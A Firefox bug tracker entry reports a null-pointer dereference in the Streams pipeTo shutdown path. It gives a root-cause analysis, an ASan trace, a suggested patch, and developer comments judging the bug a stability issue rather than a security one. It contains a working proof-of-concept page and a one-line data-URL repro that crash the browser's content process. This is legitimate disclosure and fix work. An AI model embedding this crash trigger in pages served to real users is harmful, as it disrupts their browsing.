Crash in `WritableStreamDefaultWriterWrite` via `ReadableStream.pipeTo()` shutdown ordering
Categories
(Core :: DOM: Streams, defect)
Tracking
()
People
(Reporter: phambao1340, Assigned: saschanaz)
References
(Regression)
Details
(4 keywords, Whiteboard: [affects Chrome also][client-bounty-form], [wptsync upstream])
Crash Data
Attachments
(2 external files)
Component: Core :: DOM: Streams
Files: dom/streams/ReadableStreamPipeTo.cpp, dom/streams/WritableStreamDefaultWriter.cpp
Tested build: Firefox 156.0a1, 22598deb7560ad7baef8c8f5082dcfc1e92efd54, ASan opt (--enable-address-sanitizer --disable-debug --enable-optimize)
Reproduces: deterministically, first attempt, every run. Main thread and DedicatedWorker.
1. Summary
PipeToPump::OnReadFulfilled defers each chunk write into a promise microtask. The lambda body
calls the internal abstract operation WritableStreamDefaultWriterWrite without re-checking any
state, even though a full pipe shutdown — including WritableStreamDefaultWriterRelease, which
clears writer.[[stream]] — can complete in the microtask that runs immediately before it.
WritableStreamDefaultWriterWrite transcribes the spec's Assert: stream is not undefined as a
MOZ_ASSERT and then immediately dereferences stream. In an opt build the assert is compiled
out and the dereference faults.
The mShuttingDown guard that protects this path (ReadableStreamPipeTo.cpp:604) is evaluated
one microtask too early — before the shutdown that invalidates the writer has run.
2. The code
2.1 The deferred write — dom/streams/ReadableStreamPipeTo.cpp:602-630
if (mShuttingDown) { // :604 <-- guard evaluated HERE
return;
}
// Write asynchronously. Roughly this is like:
// `Promise.resolve().then(() => stream.write(chunk));`
// XXX: The spec currently does not require asynchronicity, but this still
// matches other engines' behavior. See
// https://github.com/whatwg/streams/issues/1243.
RefPtr<Promise> promise =
Promise::CreateInfallible(xpc::CurrentNativeGlobal(aCx));
promise->MaybeResolveWithUndefined();
auto result = promise->ThenWithCycleCollectedArgsJS(
[](JSContext* aCx, JS::Handle<JS::Value>, ErrorResult& aRv,
const RefPtr<PipeToPump>& aSelf,
const RefPtr<WritableStreamDefaultWriter>& aWriter,
JS::Handle<JS::Value> aChunk)
MOZ_CAN_RUN_SCRIPT_FOR_DEFINITION -> already_AddRefed<Promise> {
RefPtr<Promise> promise =
WritableStreamDefaultWriterWrite(aCx, aWriter, aChunk, aRv); // :623 <-- used HERE
// Last read has finished, so it's time to start reading again.
aSelf->Read(aCx);
return promise.forget();
},
std::make_tuple(RefPtr{this}, mWriter), std::make_tuple(aChunk));
The lambda captures its own RefPtr to the writer, so the writer object is guaranteed to stay
alive. What is not guaranteed is that the writer is still attached to a stream.
2.2 The unguarded dereference — dom/streams/WritableStreamDefaultWriter.cpp:270-280
already_AddRefed<Promise> WritableStreamDefaultWriterWrite(
JSContext* aCx, WritableStreamDefaultWriter* aWriter,
JS::Handle<JS::Value> aChunk, ErrorResult& aRv) {
// Step 1. Let stream be writer.[[stream]].
RefPtr<WritableStream> stream = aWriter->GetStream();
// Step 2. Assert: stream is not undefined.
MOZ_ASSERT(stream); // :277 compiled out in opt
// Step 3. Let controller be stream.[[controller]].
RefPtr<WritableStreamDefaultController> controller = stream->Controller(); // :279 FAULT
The JS-facing entry point does perform the real check; the internal one relies on the assert:
// dom/streams/WritableStreamDefaultWriter.cpp:352-356 (WritableStreamDefaultWriter::Write)
// Step 1. If this.[[stream]] is undefined, return a promise rejected with a
// TypeError exception.
if (!mStream) {
aRv.ThrowTypeError("Missing stream");
return nullptr;
}
2.3 Where the stream is cleared — dom/streams/WritableStreamDefaultWriter.cpp:241-245
// Step 7. Set stream.[[writer]] to undefined.
stream->SetWriter(nullptr);
// Step 8. Set writer.[[stream]] to undefined.
aWriter->SetStream(nullptr); // :245
PipeToPump::Finalize calls this unconditionally as its first step
(ReadableStreamPipeTo.cpp:547-548).
3. Root cause
Three separate design decisions combine. None is wrong on its own.
3.1 Writes are deferred by one microtask, but the shutdown check is not
OnReadFulfilled intentionally defers the write to match other engines
(whatwg/streams#1243). The mShuttingDown test at :604 therefore describes the world as it was
when the chunk arrived, not the world the write actually executes in. Any shutdown that both
starts and completes in the interval between those two points is invisible to the pump.
3.2 The "wait for the last write" step only covers a writable destination
PipeToPump::ShutdownWithAction implements spec step 3 of shutdown with an action
(ReadableStreamPipeTo.cpp:409-428):
// Step 3. If dest.[[state]] is "writable" and !
// WritableStreamCloseQueuedOrInFlight(dest) is false,
RefPtr<WritableStream> dest = mWriter->GetStream();
if (dest->State() == WritableStream::WriterState::Writable &&
!dest->CloseQueuedOrInFlight()) {
// Step 3.1 / 3.2 ... wait until every chunk that has been read has been written
if (mLastWritePromise) {
mLastWritePromise->AppendNativeHandler(
new WriteFinishedPromiseHandler(aCx, this, aAction, aError));
return; // <-- the protective path
}
}
// Don't have to wait for last write, immediately continue.
ShutdownWithActionAfterFinishedWrite(aCx, aAction, aError);
This is precisely the mechanism that would otherwise save the pending write: mLastWritePromise
is the promise returned by ThenWithCycleCollectedArgsJS, so it cannot settle until the deferred
lambda has run. Waiting on it orders Finalize strictly after the write.
But the wait is gated on dest->State() == Writable. When the destination is already errored,
the guard is skipped and the pending write is silently dropped from consideration — even though it
is still queued and will still execute.
This is faithful to the spec text, which only requires already-read chunks to be written when the
destination can still accept them. The spec, however, has no notion of a write that is already
in flight as a microtask; Gecko's asynchronous-write extension introduces exactly that state, and
step 3 was never widened to account for it.
3.3 A null action makes Finalize synchronous
ShutdownWithActionAfterFinishedWrite (ReadableStreamPipeTo.cpp:495-501):
void PipeToPump::ShutdownWithActionAfterFinishedWrite(
JSContext* aCx, ShutdownAction aAction,
JS::Handle<mozilla::Maybe<JS::Value>> aError) {
if (!aAction) {
// Used to implement shutdown without action. Finalize immediately.
Finalize(aCx, aError);
return;
}
...
p->AppendNativeHandler(new ShutdownActionFinishedPromiseHandler(aCx, this, aError));
PipeToPump::Shutdown is implemented as shutdown with a null action
(ReadableStreamPipeTo.cpp:534-539). With a non-null action, Finalize runs from a promise
reaction — at least one microtask later — which lands it after the pending write and is
harmless. With a null action, Finalize runs synchronously inside the shutdown reaction, ahead of
the pending write.
3.4 The resulting sequence
All of it happens inside a single task, in one microtask checkpoint:
task:
wc.error(e) WritableStreamDefaultControllerError
-> StartErroring -> FinishErroring (state = "errored")
-> RejectCloseAndClosedPromiseIfNeeded
-> writer.[[closedPromise]] rejected
=> queue reaction A = PipeToPump::OnDestErrored
rc.enqueue(v) ReadableStreamDefaultControllerEnqueue
-> FulfillReadRequest -> PipeToReadRequest::ChunkSteps
-> PipeToPump::OnReadFulfilled
mShuttingDown == false (A has not run yet) <-- 3.1
=> queue microtask M = deferred WritableStreamDefaultWriterWrite
mLastWritePromise = <promise settled by M>
microtask checkpoint (FIFO):
A: OnDestErrored, mPreventCancel == true
-> Shutdown(nullptr)
-> ShutdownWithAction: mShuttingDown = true
dest->State() == Errored, not Writable <-- 3.2
(mLastWritePromise is non-null but not consulted)
-> ShutdownWithActionAfterFinishedWrite: aAction == nullptr <-- 3.3
-> Finalize
-> WritableStreamDefaultWriterRelease -> writer.[[stream]] = nullptr
M: WritableStreamDefaultWriterWrite(cx, writer, chunk, rv)
stream = writer->GetStream() == nullptr
MOZ_ASSERT(stream) compiled out
stream->Controller() READ at nullptr + offsetof(WritableStream, mController)
FinishErroring is gated on controller->Started() (dom/streams/WritableStream.cpp:409-412),
which is set from a microtask after construction. An error() issued in the same turn as
new WritableStream(...) therefore only reaches state erroring, never rejects the closed
promise, and queues nothing. The PoC must let at least one turn elapse first.
4. Proof of concept
Pure content JavaScript. No privileges, no user interaction, no non-default preferences.
poc.html:
<!doctype html>
<meta charset=utf-8>
<script>
let rc, wc;
const rs = new ReadableStream({ start(c) { rc = c; } });
const ws = new WritableStream({ start(c) { wc = c; }, write(chunk) {} });
// pipeTo() starts synchronously: the pump immediately issues a read that stays
// pending, and installs its OnDestErrored handler on the writer's closed promise.
rs.pipeTo(ws, { preventCancel: true }).catch(() => {});
// Wait one turn so the writable's controller reaches [[started]] = true.
setTimeout(() => {
// 1. Errors the destination synchronously: state -> "errored", the writer's
// closed promise rejects now, queueing OnDestErrored as microtask A.
wc.error(new Error("boom"));
// 2. Synchronously fulfills the pump's pending read request. OnReadFulfilled
// sees mShuttingDown == false and queues the deferred write as microtask M,
// behind A.
rc.enqueue("chunk");
// Checkpoint: A releases the writer, then M writes through it.
}, 100);
</script>
5. ASan report
Content process, main thread. --disable-debug build, so MOZ_ASSERT at
WritableStreamDefaultWriter.cpp:277 is compiled out and execution proceeds to the dereference on
the next line.
[14:57:17] [ff]~/ff/firefox_lasted (main@22598deb75)# mkdir -p /tmp/prof
ASAN_OPTIONS=detect_leaks=0 LD_LIBRARY_PATH=$PWD/obj-asan/dist/bin \
./obj-asan/dist/bin/firefox -no-remote -profile /tmp/prof -headless \
"file:///home/zx/ff/firefox_lasted/poc.html"
*** You are running in headless mode.
Crash Annotation GraphicsCriticalError: |[0][GFX1-]: RenderCompositorSWGL failed mapping default framebuffer, no dt (t=1.3412) [GFX1-]: RenderCompositorSWGL failed mapping default framebuffer, no dt
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1599232==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000048 (pc 0x7bd35edf7a51 bp 0x7ffd405420a0 sp 0x7ffd40541fe0 T0)
==1599232==The signal is caused by a READ memory access.
==1599232==Hint: address points to the zero page.
#0 0x7bd35edf7a51 in get /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/RefPtr.h:314:27
#1 0x7bd35edf7a51 in operator mozilla::dom::WritableStreamDefaultController * /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/RefPtr.h:327:12
#2 0x7bd35edf7a51 in Controller /home/zx/ff/firefox_lasted/obj-asan/dom/streams/./../../../dom/streams/WritableStream.h:61:12
#3 0x7bd35edf7a51 in mozilla::dom::streams_abstract::WritableStreamDefaultWriterWrite(JSContext*, mozilla::dom::WritableStreamDefaultWriter*, JS::Handle<JS::Value>, mozilla::ErrorResult&) /home/zx/ff/firefox_lasted/obj-asan/dom/streams/./../../../dom/streams/WritableStreamDefaultWriter.cpp:279:64
#4 0x7bd35edbebec in operator() /home/zx/ff/firefox_lasted/obj-asan/dom/streams/./../../../dom/streams/ReadableStreamPipeTo.cpp:623:17
#5 0x7bd35edbebec in CallCallback<(lambda at ./../../../dom/streams/ReadableStreamPipeTo.cpp:617:7), 0UL, 1UL, 0UL> /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/dom/Promise-inl.h:203:12
#6 0x7bd35edbebec in already_AddRefed<mozilla::dom::Promise> mozilla::dom::promise_detail::NativeThenHandler<mozilla::dom::PipeToPump::OnReadFulfilled(JSContext*, JS::Handle<JS::Value>, mozilla::ErrorResult&)::$_0, mozilla::dom::PipeToPump::OnReadFulfilled(JSContext*, JS::Handle<JS::Value>, mozilla::ErrorResult&)::$_0, std::tuple<RefPtr<mozilla::dom::PipeToPump>, RefPtr<mozilla::dom::WritableStreamDefaultWriter>>, std::tuple<JS::Handle<JS::Value>>>::CallCallback<mozilla::dom::PipeToPump::OnReadFulfilled(JSContext*, JS::Handle<JS::Value>, mozilla::ErrorResult&)::$_0>(JSContext*, mozilla::dom::PipeToPump::OnReadFulfilled(JSContext*, JS::Handle<JS::Value>, mozilla::ErrorResult&)::$_0 const&, JS::Handle<JS::Value>, mozilla::ErrorResult&) /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/dom/Promise-inl.h:211:12
#7 0x7bd35ed23572 in mozilla::dom::PromiseNativeThenHandlerBase::ResolvedCallback(JSContext*, JS::Handle<JS::Value>, mozilla::ErrorResult&) /home/zx/ff/firefox_lasted/obj-asan/dom/promise/./../../../dom/promise/Promise.cpp:377:29
#8 0x7bd35ed2c82a in mozilla::dom::(anonymous namespace)::PromiseNativeHandlerShim::ResolvedCallback(JSContext*, JS::Handle<JS::Value>, mozilla::ErrorResult&) /home/zx/ff/firefox_lasted/obj-asan/dom/promise/./../../../dom/promise/Promise.cpp:561:12
#9 0x7bd35ed2d386 in mozilla::dom::NativeHandlerCallback(JSContext*, unsigned int, JS::Value*) /home/zx/ff/firefox_lasted/obj-asan/dom/promise/./../../../dom/promise/Promise.cpp
#10 0x7bd363ef253b in CallJSNative /home/zx/ff/firefox_lasted/js/src/vm/Interpreter.cpp:526:13
#11 0x7bd363ef253b in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /home/zx/ff/firefox_lasted/js/src/vm/Interpreter.cpp:622:12
#12 0x7bd363ef3c37 in InternalCall /home/zx/ff/firefox_lasted/js/src/vm/Interpreter.cpp:689:10
#13 0x7bd363ef3c37 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>, js::CallReason) /home/zx/ff/firefox_lasted/js/src/vm/Interpreter.cpp:721:8
#14 0x7bd3627fb04e in Call /home/zx/ff/firefox_lasted/js/src/vm/Interpreter.h:118:10
#15 0x7bd3627fb04e in PromiseReactionJob /home/zx/ff/firefox_lasted/obj-asan/js/src/builtin/./../../../../js/src/builtin/Promise.cpp:2726:10
#16 0x7bd3627fb04e in JS::RunJSMicroTask(JSContext*, JS::Handle<JSObject*>) /home/zx/ff/firefox_lasted/obj-asan/js/src/builtin/./../../../../js/src/builtin/Promise.cpp:8451:12
#17 0x7bd3548f2133 in mozilla::MustConsumeMicroTask::RunAndConsumeJSMicroTask(JSContext*) /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/CycleCollectedJSContext.h:247:14
#18 0x7bd3548a6c24 in RunJSMicroTask /home/zx/ff/firefox_lasted/obj-asan/xpcom/base/./../../../xpcom/base/CycleCollectedJSContext.cpp:1116:35
#19 0x7bd3548a6c24 in mozilla::RunMicroTask(JSContext*, mozilla::CycleCollectedJSContext*, JS::MutableHandle<mozilla::MustConsumeMicroTask>, bool) /home/zx/ff/firefox_lasted/obj-asan/xpcom/base/./../../../xpcom/base/CycleCollectedJSContext.cpp:747:3
#20 0x7bd3548a27de in mozilla::CycleCollectedJSContext::PerformMicroTaskCheckPoint(bool) /home/zx/ff/firefox_lasted/obj-asan/xpcom/base/./../../../xpcom/base/CycleCollectedJSContext.cpp:1265:7
#21 0x7bd35a172fa0 in LeaveMicroTask /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/CycleCollectedJSContext.h:462:7
#22 0x7bd35a172fa0 in mozilla::dom::CallSetup::~CallSetup() /home/zx/ff/firefox_lasted/obj-asan/dom/bindings/./../../../dom/bindings/CallbackObject.cpp:489:11
#23 0x7bd358113a38 in void mozilla::dom::Function::Call<nsCOMPtr<nsIGlobalObject>>(nsCOMPtr<nsIGlobalObject> const&, nsTArray<JS::Value> const&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObjectBase::ExceptionHandling, JS::Realm*) /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/dom/FunctionBinding.h:72:3
#24 0x7bd3580fb7cf in mozilla::dom::CallbackTimeoutHandler::Call(char const*) /home/zx/ff/firefox_lasted/obj-asan/dom/base/./../../../dom/base/TimeoutHandler.cpp:167:29
#25 0x7bd357c163d1 in nsGlobalWindowInner::RunTimeoutHandler(mozilla::dom::Timeout*) /home/zx/ff/firefox_lasted/dom/base/nsGlobalWindowInner.cpp:6604:38
#26 0x7bd3580f77b2 in mozilla::dom::TimeoutManager::RunTimeout(mozilla::TimeStamp const&, mozilla::TimeStamp const&, bool) /home/zx/ff/firefox_lasted/obj-asan/dom/base/./../../../dom/base/TimeoutManager.cpp:955:39
#27 0x7bd3580f6472 in mozilla::dom::TimeoutExecutor::MaybeExecute() /home/zx/ff/firefox_lasted/obj-asan/dom/base/./../../../dom/base/TimeoutExecutor.cpp:177:11
#28 0x7bd3580f9007 in Notify /home/zx/ff/firefox_lasted/obj-asan/dom/base/./../../../dom/base/TimeoutExecutor.cpp:244:5
#29 0x7bd3580f9007 in non-virtual thunk to mozilla::dom::TimeoutExecutor::Notify(nsITimer*) /home/zx/ff/firefox_lasted/obj-asan/dom/base/./../../../dom/base/TimeoutExecutor.cpp
#30 0x7bd354b04313 in operator() /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/nsTimerImpl.cpp:744:44
#31 0x7bd354b04313 in matchN<mozilla::Variant<nsTimerImpl::UnknownCallback, nsCOMPtr<nsITimerCallback>, nsCOMPtr<nsIObserver>, nsTimerImpl::FuncCallback, std::function<void (nsITimer *)> > &, (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:744:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:745:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:748:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:749:7)> /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/Variant.h:327:16
#32 0x7bd354b04313 in matchN<mozilla::Variant<nsTimerImpl::UnknownCallback, nsCOMPtr<nsITimerCallback>, nsCOMPtr<nsIObserver>, nsTimerImpl::FuncCallback, std::function<void (nsITimer *)> > &, (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:743:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:744:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:745:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:748:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:749:7)> /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/Variant.h:336:14
#33 0x7bd354b04313 in matchN<mozilla::Variant<nsTimerImpl::UnknownCallback, nsCOMPtr<nsITimerCallback>, nsCOMPtr<nsIObserver>, nsTimerImpl::FuncCallback, std::function<void (nsITimer *)> > &, (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:743:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:744:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:745:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:748:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:749:7)> /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/Variant.h:925:12
#34 0x7bd354b04313 in match<(lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:743:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:744:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:745:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:748:7), (lambda at ./../../../xpcom/threads/nsTimerImpl.cpp:749:7)> /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/Variant.h:880:12
#35 0x7bd354b04313 in nsTimerImpl::Fire(unsigned long) /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/nsTimerImpl.cpp:742:22
#36 0x7bd354b039ea in nsTimerEvent::Run() /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/TimerThread.cpp:492:11
#37 0x7bd354b46c76 in mozilla::ThrottledEventQueue::Inner::ExecuteRunnable() /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/ThrottledEventQueue.cpp:251:18
#38 0x7bd354b40a0f in mozilla::ThrottledEventQueue::Inner::Executor::Run() /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/ThrottledEventQueue.cpp:78:15
#39 0x7bd354af66ba in mozilla::RunnableTask::Run() /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/TaskController.cpp:721:16
#40 0x7bd354ad0c53 in mozilla::TaskController::RunTask(mozilla::Task*) /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/TaskController.cpp:212:19
#41 0x7bd354ad7c73 in mozilla::TaskController::DoExecuteNextTaskOnlyMainThreadInternal(mozilla::detail::BaseAutoLock<mozilla::Mutex&> const&) /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/TaskController.cpp:1360:20
#42 0x7bd354ad5708 in mozilla::TaskController::ExecuteNextTaskOnlyMainThreadInternal(mozilla::detail::BaseAutoLock<mozilla::Mutex&> const&) /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/TaskController.cpp:1183:15
#43 0x7bd354ad5d36 in mozilla::TaskController::ProcessPendingMTTask(bool) /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/TaskController.cpp:657:36
#44 0x7bd354ad8cc4 in operator() /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/TaskController.cpp:352:37
#45 0x7bd354ad8cc4 in mozilla::detail::RunnableFunction<mozilla::TaskController::TaskController()::$_1>::Run() /home/zx/ff/firefox_lasted/xpcom/threads/nsThreadUtils.h:535:5
#46 0x7bd354b19ccd in nsThread::ProcessNextEvent(bool, bool*) /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/nsThread.cpp:1177:16
#47 0x7bd354b23c21 in NS_ProcessNextEvent(nsIThread*, bool) /home/zx/ff/firefox_lasted/obj-asan/xpcom/threads/./../../../xpcom/threads/nsThreadUtils.cpp:471:32
#48 0x7bd354d749b4 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/zx/ff/firefox_lasted/obj-asan/ipc/glue/./../../../ipc/glue/MessagePump.cpp:105:5
#49 0x7bd354c42ef4 in RunInternal /home/zx/ff/firefox_lasted/obj-asan/ipc/chromium/./../../../ipc/chromium/src/base/message_loop.cc:371:10
#50 0x7bd354c42ef4 in RunHandler /home/zx/ff/firefox_lasted/obj-asan/ipc/chromium/./../../../ipc/chromium/src/base/message_loop.cc:364:3
#51 0x7bd354c42ef4 in MessageLoop::Run() /home/zx/ff/firefox_lasted/obj-asan/ipc/chromium/./../../../ipc/chromium/src/base/message_loop.cc:346:3
#52 0x7bd35f8f3b6c in nsBaseAppShell::Run() /home/zx/ff/firefox_lasted/obj-asan/widget/./../../widget/nsBaseAppShell.cpp:151:27
#53 0x7bd35fb42e4b in nsAppShell::Run() /home/zx/ff/firefox_lasted/obj-asan/widget/gtk/./../../../widget/gtk/nsAppShell.cpp:580:33
#54 0x7bd362140ce5 in XRE_RunAppShell() /home/zx/ff/firefox_lasted/toolkit/xre/nsEmbedFunctions.cpp:644:20
#55 0x7bd354c42ef4 in RunInternal /home/zx/ff/firefox_lasted/obj-asan/ipc/chromium/./../../../ipc/chromium/src/base/message_loop.cc:371:10
#56 0x7bd354c42ef4 in RunHandler /home/zx/ff/firefox_lasted/obj-asan/ipc/chromium/./../../../ipc/chromium/src/base/message_loop.cc:364:3
#57 0x7bd354c42ef4 in MessageLoop::Run() /home/zx/ff/firefox_lasted/obj-asan/ipc/chromium/./../../../ipc/chromium/src/base/message_loop.cc:346:3
#58 0x7bd362140425 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/zx/ff/firefox_lasted/toolkit/xre/nsEmbedFunctions.cpp:582:34
#59 0x58b5eb8a506e in main /home/zx/ff/firefox_lasted/browser/app/nsBrowserApp.cpp:469:22
#60 0x7fd3706ed574 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#61 0x7fd3706ed627 in __libc_start_main csu/../csu/libc-start.c:360:3
#62 0x58b5eb7bc7b8 in _start (/home/zx/ff/firefox_lasted/obj-asan/dist/bin/firefox+0xb87b8) (BuildId: fb105414eecb55930e1dfb041f09ca11)
==1599232==Register values:
rax = 0x0000000000000009 rbx = 0x00007ffd40541fe0 rcx = 0xf3f8f8f8f2f2f8f8 rdx = 0x0000000000000004
rdi = 0x0000000000000048 rsi = 0x00000000000000f3 rbp = 0x00007ffd405420a0 rsp = 0x00007ffd40541fe0
r8 = 0x0000000000000000 r9 = 0x00007fffffffff01 r10 = 0x00007fffffffff01 r11 = 0x0000000000000001
r12 = 0x00007c436f82db48 r13 = 0x00000f7a6dca95e0 r14 = 0x00000f886df05b69 r15 = 0x0000000000000000
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/zx/ff/firefox_lasted/obj-asan/dist/include/mozilla/RefPtr.h:314:27 in get
==1599232==ABORTING
6. Suggested fix
The minimal correct change is to make the deferred lambda re-validate the state it captured a
microtask earlier — the mShuttingDown check at :604 needs a counterpart at the point of use:
--- a/dom/streams/ReadableStreamPipeTo.cpp
+++ b/dom/streams/ReadableStreamPipeTo.cpp
@@
[](JSContext* aCx, JS::Handle<JS::Value>, ErrorResult& aRv,
const RefPtr<PipeToPump>& aSelf,
const RefPtr<WritableStreamDefaultWriter>& aWriter,
JS::Handle<JS::Value> aChunk)
MOZ_CAN_RUN_SCRIPT_FOR_DEFINITION -> already_AddRefed<Promise> {
+ // Shutdown may have completed - including
+ // WritableStreamDefaultWriterRelease - in a microtask queued
+ // before this one. The check in OnReadFulfilled describes the
+ // state at read time, not at write time.
+ if (aSelf->mShuttingDown) {
+ return nullptr;
+ }
+
RefPtr<Promise> promise =
WritableStreamDefaultWriterWrite(aCx, aWriter, aChunk, aRv);
|
||
Comment 1•2 months ago
|
||
Thank you for the report. This looks like a bug, but generally we don't consider a null deref crash to be a security issue.
|
|
||
Updated•2 months ago
|
|
Assignee | |
Comment 2•2 months ago
•
|
||
It seems this affects Chrome too. This may be a spec level issue.
One-line version repro:
data:text/html,<script>let rc, wc; const rs = new ReadableStream({ start(c) { rc = c; } }); const ws = new WritableStream({ start(c) { wc = c; }, write(chunk) {} }); rs.pipeTo(ws, { preventCancel: true }).catch(() => {}); setTimeout(() => { wc.error(new Error("boom")); rc.enqueue("chunk"); }, 100);</script>
|
||
Comment 3•2 months ago
|
||
This rating has been determined by our automated bug rating tool (currently under development). No validation or verification has been performed.
Rating: N/A
Explanation: Confirmed from source: the async write callback in PipeToPump::OnReadFulfilled (ReadableStreamPipeTo.cpp:613-638) invokes WritableStreamDefaultWriterWrite in a microtask without re-checking mShuttingDown or the writer's [[stream]]. When pipeTo shutdown ordering lets Finalize() -> WritableStreamDefaultWriterRelease() run first (it sets writer.[[stream]] to null via SetStream(nullptr)) before that pending write executes, the write's step-1 GetStream() returns null; MOZ_ASSERT(stream) fires in assertion builds and in release builds stream->Controller() reads mController off a null pointer. Impact: this is a plain null-pointer dereference (or diagnostic assert) - the writer object stays alive via the callback's captured RefPtr, so no use-after-free or memory corruption. Attack vector: web content using ReadableStream.pipeTo() with a destination whose state changes during a pending write. Reachability: reachable from ordinary web content, but only in the content process. A safe content-process null-deref crash is not a security issue; this is a legitimate stability bug (already S3) but carries no security impact.
|
||
Comment 4•2 months ago
|
||
opt nightly bp-9454f0bc-b849-430b-b29a-488650260826
There is no evidence this is exploitable in Firefox, but we don't know about Chrome so we'll keep this hidden for now
|
|
Assignee | |
Comment 5•2 months ago
|
||
Blink's crash is a release assertion, it's not a security issue. Let's open this.
|
|
Assignee | |
Updated•2 months ago
|
|
|
Assignee | |
Updated•2 months ago
|
|
|
Assignee | |
Comment 6•2 months ago
|
||
|
||
Updated•2 months ago
|
|
||
Comment 7•2 months ago
|
||
:saschanaz, please update all release status flags to reflect the affected/unaffected/disabled state correctly. Which branches (beta, release, and/or ESR) are affected by this flaw?
|
|
||
Comment 8•2 months ago
|
||
Set release status flags based on info from the regressing bug 1822675
|
||
Updated•2 months ago
|
|
|
||
Updated•2 months ago
|
|
|
||
Updated•2 months ago
|
|
||
Comment 10•2 months ago
|
||
|
|
||
Comment 11•2 months ago
|
||
|
||
Comment 12•2 months ago
•
|
||
Backed out for causing lint failure
- Backout link
- Push with failures
- Failure Log
LATER EDIT: also this wpt failure
and this xpcshell failure
|
|
Assignee | |
Updated•2 months ago
|
|
|
||
Comment 13•2 months ago
|
||
|
|
||
Comment 14•2 months ago
|
||
|
|
Assignee | |
Updated•2 months ago
|
|
|
||
Comment 16•2 months ago
|
||
|
||
Comment 17•2 months ago
|
||
| bugherder | ||
|
||
Comment 18•2 months ago
|
||
Authored by https://github.com/saschanaz
https://github.com/mozilla/enterprise-firefox/commit/8f580a73d6b904bfcf94fbd7e087595d3bd2db27
[enterprise-main] Bug 2065919 - Check shutdown again before async write on read fulfill r=dom-core-reviewers,smaug
Authored by https://github.com/amarc-mozilla
https://github.com/mozilla/enterprise-firefox/commit/73db385bb2d47d005dc340c54da0a5517bea8cf4
[enterprise-main] Revert "Bug 2065919 - Check shutdown again before async write on read fulfill r=dom-core-reviewers,smaug" for causing lint failure @ shutdown.html
Authored by https://github.com/saschanaz
https://github.com/mozilla/enterprise-firefox/commit/d4bea9f805fc73867ff7ee7a344e86308569dc46
[enterprise-main] Bug 2065919 - Check shutdown again before async write on read fulfill r=dom-core-reviewers,smaug
Authored by https://github.com/amarc-mozilla
https://github.com/mozilla/enterprise-firefox/commit/f88dc2eee3af6587d116aa5af8d5c5c095d144ab
[enterprise-main] Revert "Bug 2065919 - Check shutdown again before async write on read fulfill r=dom-core-reviewers,smaug" for causing multiple failures
Authored by https://github.com/amarc-mozilla
https://github.com/mozilla/enterprise-firefox/commit/edfb027f321fd2584c8fd2df528e665b7f5b8dac
[enterprise-main] Revert "Bug 2065919 - Check shutdown again before async write on read fulfill r=dom-core-reviewers,smaug" for causing multiple failures
|
|
Assignee | |
Comment 19•2 months ago
|
||
It's backed out?
|
|
||
Updated•2 months ago
|
|
|
Assignee | |
Comment 20•2 months ago
|
||
(In reply to Kagami Rosylight 🏳️🌈🏳️⚧️ [:saschanaz] (they/them) from comment #2)
It seems this affects Chrome too. This may be a spec level issue.
One-line version repro:
